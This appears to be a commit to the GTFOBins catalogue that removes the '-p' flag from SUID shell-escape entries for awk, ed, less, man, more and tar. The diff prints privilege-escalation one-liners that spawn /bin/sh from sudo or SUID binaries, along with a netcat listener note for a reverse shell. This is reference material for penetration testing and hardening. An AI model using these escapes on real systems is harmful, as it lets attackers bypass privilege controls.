Remove the -p option from suid-limited

It is useless because:
- if Debian-like, it is not supported and does not drop anyway;
- otherwise the `system()`-like function already used a shell that dropped the
  privileges.

_gtfobins/awk.md

@@ -5,7 +5,7 @@ functions:
   sudo-enabled:
     - code: sudo awk 'BEGIN {system("/bin/sh")}'
   suid-limited:
-    - code: ./awk 'BEGIN {system("/bin/sh -p")}'
+    - code: ./awk 'BEGIN {system("/bin/sh")}'
   reverse-shell-non-interactive:
     - description: Run `nc -l -p 12345` on the attacker box to receive the shell.
       code: |

_gtfobins/ed.md

@@ -11,5 +11,5 @@ functions:
   suid-limited:
     - code: |-
         ./ed
-        !/bin/sh -p
----
+        !/bin/sh
+---

_gtfobins/less.md

@@ -14,5 +14,5 @@ functions:
   suid-limited:
     - code: |-
         ./less /etc/profile
-        !/bin/sh -p
----
+        !/bin/sh
+---

_gtfobins/man.md

@@ -11,5 +11,5 @@ functions:
   suid-limited:
     - code: |-
         ./man man
-        !/bin/sh -p
----
+        !/bin/sh
+---

_gtfobins/more.md

@@ -11,5 +11,5 @@ functions:
   suid-limited:
     - code: |-
         TERM= ./more /etc/profile
-        !/bin/sh -p
----
+        !/bin/sh
+---

_gtfobins/tar.md

@@ -5,5 +5,5 @@ functions:
   sudo-enabled:
     - code: sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
   suid-limited:
-    - code: ./tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec="/bin/sh -p"
----
+    - code: ./tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec="/bin/sh"
+---